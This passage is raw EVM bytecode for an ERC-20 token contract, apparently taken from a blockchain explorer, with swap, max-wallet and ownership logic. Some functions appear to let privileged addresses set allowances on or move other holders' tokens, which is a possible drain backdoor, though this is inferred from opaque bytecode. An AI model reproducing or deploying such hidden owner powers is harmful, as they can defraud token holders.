3ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132019190613817565b60405180910390a35b61321d8184612aa190919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561324457613243613ba0565b5b6040519080825280602002602001820160405280156132725781602001602082028036833780820191505090505b509050308160008151811061328a57613289613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613331573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133559190613a46565b8160018151811061336957613368613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506133d030601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612055565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016134349594939291906143cd565b600060405180830381600087803b15801561344e57600080fd5b505af1158015613462573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613497929190614427565b60405180910390a15050565b6134d030601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612055565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161355996959493929190613ad7565b60606040518083038185885af1158015613577573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061359c9190613b4d565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135dd5780820151818401526020810190506135c2565b60008484015250505050565b6000601f19601f8301169050919050565b6000613605826135a3565b61360f81856135ae565b935061361f8185602086016135bf565b613628816135e9565b840191505092915050565b6000602082019050818103600083015261364d81846135fa565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061368082613655565b9050919050565b61369081613675565b82525050565b60006020820190506136ab6000830184613687565b92915050565b600080fd5b6136bf81613675565b81146136ca57600080fd5b50565b6000813590506136dc816136b6565b92915050565b6000819050919050565b6136f5816136e2565b811461370057600080fd5b50565b600081359050613712816136ec565b92915050565b6000806040838503121561372f5761372e6136b1565b5b600061373d858286016136cd565b925050602061374e85828601613703565b9150509250929050565b60008115159050919050565b61376d81613758565b82525050565b60006020820190506137886000830184613764565b92915050565b6000819050919050565b60006137b36137ae6137a984613655565b61378e565b613655565b9050919050565b60006137c582613798565b9050919050565b60006137d7826137ba565b9050919050565b6137e7816137cc565b82525050565b600060208201905061380260008301846137de565b92915050565b613811816136e2565b82525050565b600060208201905061382c6000830184613808565b92915050565b60008060006060848603121561384b5761384a6136b1565b5b6000613859868287016136cd565b935050602061386a868287016136cd565b925050604061387b86828701613703565b9150509250925092565b600060ff82169050919050565b61389b81613885565b82525050565b60006020820190506138b66000830184613892565b92915050565b6000602082840312156138d2576138d16136b1565b5b60006138e0848285016136cd565b91505092915050565b60006138f482613655565b9050919050565b613904816138e9565b82525050565b600060208201905061391f60008301846138fb565b92915050565b6000806040838503121561393c5761393b6136b1565b5b600061394a858286016136cd565b925050602061395b858286016136cd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139ac57607f821691505b6020821081036139bf576139be613965565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139fb6020836135ae565b9150613a06826139c5565b602082019050919050565b60006020820190508181036000830152613a2a816139ee565b9050919050565b600081519050613a40816136b6565b92915050565b600060208284031215613a5c57613a5b6136b1565b5b6000613a6a84828501613a31565b91505092915050565b6000604082019050613a886000830185613687565b613a956020830184613687565b9392505050565b6000819050919050565b6000613ac1613abc613ab784613a9c565b61378e565b6136e2565b9050919050565b613ad181613aa6565b82525050565b600060c082019050613aec6000830189613687565b613af96020830188613808565b613b066040830187613ac8565b613b136060830186613ac8565b613b206080830185613687565b613b2d60a0830184613808565b979650505050505050565b600081519050613b47816136ec565b92915050565b600080600060608486031215613b6657613b656136b1565b5b6000613b7486828701613b38565b9350506020613b8586828701613b38565b9250506040613b9686828701613b38565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c3381613675565b82525050565b6000613c458383613c2a565b60208301905092915050565b6000602082019050919050565b6000613c6982613bfe565b613c738185613c09565b9350613c7e83613c1a565b8060005b83811015613caf578151613c968882613c39565b9750613ca183613c51565b925050600181019050613c82565b5085935050505092915050565b6000608082019050613cd16000830187613ac8565b8181036020830152613ce38186613c5e565b9050613cf26040830185613687565b613cff6060830184613808565b95945050505050565b6000606082019050613d1d6000830186613687565b613d2a6020830185613687565b613d376040830184613808565b949350505050565b613d4881613758565b8114613d5357600080fd5b50565b600081519050613d6581613d3f565b92915050565b600060208284031215613d8157613d806136b1565b5b6000613d8f84828501613d56565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613df46026836135ae565b9150613dff82613d98565b604082019050919050565b60006020820190508181036000830152613e2381613de7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e64826136e2565b9150613e6f836136e2565b9250828202613e7d816136e2565b91508282048414831517613e9457613e93613e2a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ed5826136e2565b9150613ee0836136e2565b925082613ef057613eef613e9b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f576021836135ae565b9150613f6282613efb565b604082019050919050565b60006020820190508181036000830152613f8681613f4a565b9050919050565b6000613f98826136e2565b9150613fa3836136e2565b9250828201905080821115613fbb57613fba613e2a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff7601b836135ae565b915061400282613fc1565b602082019050919050565b6000602082019050818103600083015261402681613fea565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006140896024836135ae565b91506140948261402d565b604082019050919050565b600060208201905081810360008301526140b88161407c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061411b6022836135ae565b9150614126826140bf565b604082019050919050565b6000602082019050818103600083015261414a8161410e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006141ad6025836135ae565b91506141b882614151565b604082019050919050565b600060208201905081810360008301526141dc816141a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061423f6023836135ae565b915061424a826141e3565b604082019050919050565b6000602082019050818103600083015261426e81614232565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006142d16028836135ae565b91506142dc82614275565b604082019050919050565b60006020820190508181036000830152614300816142c4565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b60006143636025836135ae565b915061436e82614307565b604082019050919050565b6000602082019050818103600083015261439281614356565b9050919050565b60006143a4826136e2565b91506143af836136e2565b92508282039050818111156143c7576143c6613e2a565b5b92915050565b600060a0820190506143e26000830188613808565b6143ef6020830187613ac8565b81810360408301526144018186613c5e565b90506144106060830185613687565b61441d6080830184613808565b9695505050505050565b600060408201905061443c6000830185613808565b818103602083015261444e8184613c5e565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200a897d4a0841bb773170be70b4be3e7a9f651bca8de2c681b0f11b8a95313dcf64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061028c5760003560e01c8063807c2d9c1161015a578063a9059cbb116100c1578063dc44b6a01161007a578063dc44b6a0146109f6578063dd62ed3e14610a21578063f0cd1dac14610a5e578063f2fde38b14610a89578063f680f79914610ab2578063f872858a14610add57610293565b8063a9059cbb146108d0578063b7470a2f1461090d578063c5d241891461094a578063c860795214610975578063d2d7ad83146109a0578063da00097d146109cb57610293565b80638ea5220f116101135780638ea5220f146107be57806395d89b41146107e957806398e944c8146108145780639e161d9a1461083f578063a457c2d714610868578063a8b08982146108a557610293565b8063807c2d9c146106aa57806382eefb43146106d5578063852614851461070057806388790a681461072b5780638b42507f146107565780638da5cb5b1461079357610293565b8063313ce567116101fe5780635342acb4116101b75780635342acb4146105ac57806359927044146105e957806370a0823114610614578063715018a614610651578063751039fc146106685780637d1db4a51461067f57610293565b8063313ce5671461048657806339509351146104b15780633ecad271146104ee5780634a74bb021461052b5780634ada218b146105565780635194f9bf1461058157610293565b806323555d571161025057806323555d571461038157806323b872dd146103ac57806327c8f835146103e9578063293230b8146104145780632a0274c21461041e5780632b112e491461045b57610293565b806306fdde03146102985780630930907b146102c3578063095ea7b3146102ee5780631694505e1461032b57806318160ddd1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b08565b6040516102ba9190613633565b60405180910390f35b3480156102cf57600080fd5b506102d8610b9a565b6040516102e59190613696565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190613718565b610bbe565b6040516103229190613773565b60405180910390f35b34801561033757600080fd5b50610340610bdc565b60405161034d91906137ed565b60405180910390f35b34801561036257600080fd5b5061036b610c02565b6040516103789190613817565b60405180910390f35b34801561038d57600080fd5b50610396610c0c565b6040516103a39190613817565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190613832565b610c12565b6040516103e09190613773565b60405180910390f35b3480156103f557600080fd5b506103fe610cec565b60405161040b9190613696565b60405180910390f35b61041c610d10565b005b34801561042a57600080fd5b5061044560048036038101906104409190613718565b6112a5565b6040516104529190613773565b60405180910390f35b34801561046757600080fd5b506104706112ca565b60405161047d9190613817565b60405180910390f35b34801561049257600080fd5b5061049b611348565b6040516104a891906138a1565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190613718565b61135f565b6040516104e59190613773565b60405180910390f35b3480156104fa57600080fd5b50610515600480360381019061051091906138bc565b611412565b6040516105229190613773565b60405180910390f35b34801561053757600080fd5b50610540611432565b60405161054d9190613773565b60405180910390f35b34801561056257600080fd5b5061056b611445565b6040516105789190613773565b60405180910390f35b34801561058d57600080fd5b50610596611458565b6040516105a39190613817565b60405180910390f35b3480156105b857600080fd5b506105d360048036038101906105ce91906138bc565b61145e565b6040516105e09190613773565b60405180910390f35b3480156105f557600080fd5b506105fe61147e565b60405161060b919061390a565b60405180910390f35b34801561062057600080fd5b5061063b600480360381019061063691906138bc565b6114a4565b6040516106489190613817565b60405180910390f35b34801561065d57600080fd5b506106666114ed565b005b34801561067457600080fd5b5061067d611642565b005b34801561068b57600080fd5b506106946116eb565b6040516106a19190613817565b60405180910390f35b3480156106b657600080fd5b506106bf6116f1565b6040516106cc9190613817565b60405180910390f35b3480156106e157600080fd5b506106ea6116f7565b6040516106f79190613817565b60405180910390f35b34801561070c57600080fd5b506107156116fd565b6040516107229190613773565b60405180910390f35b34801561073757600080fd5b50610740611710565b60405161074d9190613817565b60405180910390f35b34801561076257600080fd5b5061077d600480360381019061077891906138bc565b611716565b60405161078a9190613773565b60405180910390f35b34801561079f57600080fd5b506107a8611736565b6040516107b59190613696565b60405180910390f35b3480156107ca57600080fd5b506107d361175f565b6040516107e0919061390a565b60405180910390f35b3480156107f557600080fd5b506107fe611785565b60405161080b9190613633565b60405180910390f35b34801561082057600080fd5b50610829611817565b6040516108369190613696565b60405180910390f35b34801561084b57600080fd5b5061086660048036038101906108619190613718565b61183d565b005b34801561087457600080fd5b5061088f600480360381019061088a9190613718565b611b67565b60405161089c9190613773565b60405180910390f35b3480156108b157600080fd5b506108ba611c34565b6040516108c79190613696565b60405180910390f35b3480156108dc57600080fd5b506108f760048036038101906108f29190613718565b611c5a565b6040516109049190613773565b60405180910390f35b34801561091957600080fd5b50610934600480360381019061092f91906138bc565b611c79565b6040516109419190613773565b60405180910390f35b34801561095657600080fd5b5061095f611c99565b60405161096c9190613817565b60405180910390f35b34801561098157600080fd5b5061098a611c9f565b6040516109979190613817565b60405180910390f35b3480156109ac57600080fd5b506109b5611ca5565b6040516109c29190613817565b60405180910390f35b3480156109d757600080fd5b506109e0611cab565b6040516109ed9190613773565b60405180910390f35b348015610a0257600080fd5b50610a0b611cbe565b604051610a189190613817565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190613925565b611cc4565b604051610a559190613817565b60405180910390f35b348015610a6a57600080fd5b50610a73611d4b565b604051610a809190613817565b60405180910390f35b348015610a9557600080fd5b50610ab06004803603810190610aab91906138bc565b611d51565b005b348015610abe57600080fd5b50610ac7611f12565b604051610ad49190613817565b60405180910390f35b348015610ae957600080fd5b50610af2611f18565b604051610aff9190613773565b60405180910390f35b606060018054610b1790613994565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4390613994565b8015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610bd2610bcb61204d565b8484612055565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60135481565b6000610c1f84848461221e565b50610ce184610c2c61204d565b610cdc8560405180606001604052806028815260200161445860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c9261204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b612055565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b610d1861204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90613a11565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190613a46565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb89190613a46565b6040518363ffffffff1660e01b8152600401610ed5929190613a73565b6020604051808303816000875af1158015610ef4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f189190613a46565b601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611236306114a4565b60008033426040518863ffffffff1660e01b815260040161125c96959493929190613ad7565b60606040518083038185885af115801561127a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061129f9190613b4d565b50505050565b6000803090506103e86017819055506112bf848285612944565b600191505092915050565b60006113436112f87f00000000000000000000000000000000000000000000000000000000000000006114a4565b6113356113247f000000000000000000000000000000000000000000000000000000000000dead6114a4565b600d54612aa190919063ffffffff16565b612aa190919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600061140861136c61204d565b84611403856007600061137d61204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b612055565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b600860009054906101000a900460ff1681565b60165481565b60096020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114f561204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157990613a11565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61164a61204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613a11565b60405180910390fd5b600d54600f81905550600d54601081905550565b600f5481565b60105481565b60195481565b601b60189054906101000a900460ff1681565b60145481565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461179490613994565b80601f01602080910402602001604051908101604052809291908181526020018280546117c090613994565b801561180d5780601f106117e25761010080835404028352916020019161180d565b820191906000526020600020905b8154815290600101906020018083116117f057829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600267ffffffffffffffff81111561185a57611859613ba0565b5b6040519080825280602002602001820160405280156118885781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191c9190613a46565b816000815181106119305761192f613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061197f5761197e613bcf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106119cf576119ce613bcf565b5b60200260200101519050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ac457601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b8152600401611a8d9493929190613cbc565b6000604051808303818588803b158015611aa657600080fd5b505af1158015611aba573d6000803e3d6000fd5b5050505050611b61565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8584600181518110611af557611af4613bcf565b5b6020026020010151866040518463ffffffff1660e01b8152600401611b1c93929190613d08565b6020604051808303816000875af1158015611b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5f9190613d6b565b505b50505050565b6000611c2a611b7461204d565b84611c25856040518060600160405280602581526020016144806025913960076000611b9e61204d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b612055565b6001905092915050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611c6e611c6761204d565b848461221e565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60125481565b60155481565b600e5481565b601b60169054906101000a900460ff1681565b60115481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b611d5961204d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90613a11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90613e0a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60175481565b601b60179054906101000a900460ff1681565b6000808303611f3d5760009050611f9f565b60008284611f4b9190613e59565b9050828482611f5a9190613eca565b14611f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9190613f6d565b60405180910390fd5b809150505b92915050565b6000611fe783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612aeb565b905092915050565b6000808284611ffe9190613f8d565b905083811015612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a9061400d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bb9061409f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a90614131565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122119190613817565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361228e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612285906141c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f490614255565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061239e5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123b5576123ae848484612b4e565b90506128d9565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124595750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124715750601b60189054906101000a900460ff165b156124bc57600f548211156124bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b2906142e7565b60405180910390fd5b5b60006124c7306114a4565b90506000600e5482101590508080156124ed5750601b60149054906101000a900460ff16155b80156125435750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561255b5750601b60159054906101000a900460ff165b1561258557601b60169054906101000a900460ff161561257b57600e5491505b61258482612d21565b5b61260e846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126f45750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61270857612703878787613000565b61270a565b845b9050601b60179054906101000a900460ff1680156127725750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d75760105461279582612787896114a4565b611fef90919063ffffffff16565b11156127d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cd90614379565b60405180910390fd5b5b61282981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128c99190613817565b60405180910390a3600193505050505b9392505050565b6000838311158290612928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291f9190613633565b60405180910390fd5b50600083856129379190614399565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361297d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129b657600080fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a949190613817565b60405180910390a3505050565b6000612ae383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128e0565b905092915050565b60008083118290612b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b299190613633565b60405180910390fd5b5060008385612b419190613eca565b9050809150509392505050565b6000612bd9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e09092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0e9190613817565b60405180910390a3600190509392505050565b6001601b60146101000a81548160ff0219169083151502179055506000612d55601954601854611fef90919063ffffffff16565b90506000612d70601454601154611fef90919063ffffffff16565b90506000612d8b601554601254611fef